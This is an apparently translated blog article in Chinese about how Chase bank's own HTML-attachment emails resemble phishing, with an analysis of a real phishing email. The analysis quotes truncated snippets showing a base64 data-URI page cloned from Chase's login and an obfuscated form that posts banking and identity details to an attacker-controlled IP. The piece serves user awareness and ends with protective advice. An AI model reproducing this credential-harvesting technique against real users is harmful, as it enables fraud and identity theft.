近年来,随着网络的发展,网络上信息被盗的事件时有发生,比如钓鱼攻击,他们通过电子邮件让用户填写个人信息,以套取用户隐私,奇怪的是,这种钓鱼攻击屡屡成功,到底为什么钓鱼攻击的成功率那么高呢?
当我第一次收到银行发来的“安全”邮件时,我第一反应就是这里是否有诈?因为在我看来,它实在是太像钓鱼邮件了。这封躺在收件箱里的邮件来源于我银行经理的个人邮箱地址,而非Chase银行的官方邮箱。邮件中不仅附带有一个HTML页面,而且还有文字告诉我“在浏览器中打开这个页面以了解如何进行下一步操作”,这一切瞬间让我提高了警惕。
首先,本身电子邮件这个东西就是不安全的,更何况是我的银行还发送了一封带有附件的“安全”邮件给我。这看起来就像是一次教科书般的钓鱼攻击,所以我赶紧拿起电话直接打给了我的银行经理。
“不是的,这是合法邮件。我需要你将它打印出来,然后签署一些文件。”这就是银行经理给我的回答。
但我说到:“首先,邮件发送人的地址看起来就非常可疑,而且这种邮件不仅要让我点击外部链接并打开附件,而且还要我在Web表单中填写我的个人信息,这谁会信啊?”
银行经理说到:“我完全理解,这确实会让人怀疑。但这封邮件没有任何问题,我的确发过这封邮件给你,如果需要的话我还可以再发一次。”
于是乎,他果然又发了一封给我。这封重发的邮件看起来与之前那封完全一样,但这一次我正在与我的银行经理通话,所以我按照要求打开了附件。邮件中有一个“点击读取信息”的按钮,点击之后将我重定向到了Chase银行的安全邮件门户网站。但是整个过程让我感到非常的奇葩,我也将我担心的地方告诉了我的银行经理、他的上司、以及Chase的客户支持部门。
值得一提的是,我们是不可能完完全全地对客户的行为进行安全培训的,而银行所采用的交互方式与钓鱼攻击几乎没有区别,这就非常危险了。
攻击分析
近期,我收到了一封真正的钓鱼邮件。这封邮件来自[email protected],它很明显是封伪造的邮件,但如果不仔细的话还是看不出什么端倪的。这封邮件声称我的银行账号近期出现了很多错误操作,并且跟之前那封真实的邮件一样,它也让我在浏览器中打开附件HTML文件并按提示进行操作。
但很明显我不会按它说的做!于是,我把HTML文件下载了下来,然后把它拖到了代码审查窗口中。我发现,除了正常的HTML代码之外,文件中还包含一段脚本代码:
window.location="data:text/html;base64,PCFET0NUWVBFIEhUTUwg...
这个页面会在地址栏中显示一大堆Base64编码的数据,代码本身包含有Chase银行官网的脚本、图片以及指向合法页面的链接,整个页面看起来和正常的Chase银行登录页面没什么区别。但是,代码中还包含有其他的脚本代码(经过混淆),这些代码会在登录页面中添加一个自定义的表单:
document.write(unescape(%3C%66%6F%72...
在对代码进行了反混淆之后,我发现所有的代码都与Chase银行的真实登录页面一致,只不过表单action属性指向的是攻击者所控制的服务器。
<form action="http://191..."class="button" method="post"name=”submit"id=”submit">
如果不知情的用户真的在浏览器中打开了这个页面,那么他们将会看到一个带有Chase商标的页面让他们确认以下信息:
1. 账号登录信息
2. 联系信息
3. 银行卡信息
4. 社保号和驾驶证信息等等
上述所有的这些信息都不会提交给Chase,而是提交给了攻击者自己的服务器。这台由攻击者控制的服务器在成功获取到了这些数据之后,会将用户重定向到Chase的在线登录页面,所以这会让用户完全无法察觉到异常。我认为,之所以用户会这样做,完全是因为Chase平时对用户的“训练”所导致的(通过邮件附件要求用户提供身份验证信息)。
如何保护自己
除非Chase银行不再通过这种带有附件HTML的邮件来要求用户登录并填写自己的信息,否则广大Chase银行的客户还是免不了遭受钓鱼攻击。但是,我们仍然有很多方法可以避免自己落入这种网络钓鱼陷阱之中。
首先,千万不要直接打开邮件中的附件网页,除非你能够百分之百确定这封邮件没有任何问题。其次,永远不要轻易在任何网页中填写自己的个人信息。第三,如果邮件要求你提供个人信息,而你也不得不这样做的话,请直接访问在线服务的官方网站去填写,千万不要图方便直接点击邮件中的地址。这些方法同样适用于电话钓鱼。永远不要轻易在电话中给出自己的个人信息,除非那个电话是你打过去的。
最后,请你不要嫌麻烦,一定要将所有不正常的情况上报给自己的服务商。当你遇到了勒索邮件或有人尝试通过电话来窃取你的信息时,请一定要即使报告。
总结
实际上,如果想要保护用户不受网路钓鱼攻击的侵害,仅仅依靠提高用户安全意识还是远远不够的,这个过程中厂商也要负起一定的责任。所谓心中无鬼,天下无鬼。很多厂商知道这封邮件是他们自己发的,就不会太在意去证明邮件的安全性与合法性,但对于用户来说,当他们习惯了这样的交互方式时,也就给了钓鱼攻击者可乘之机。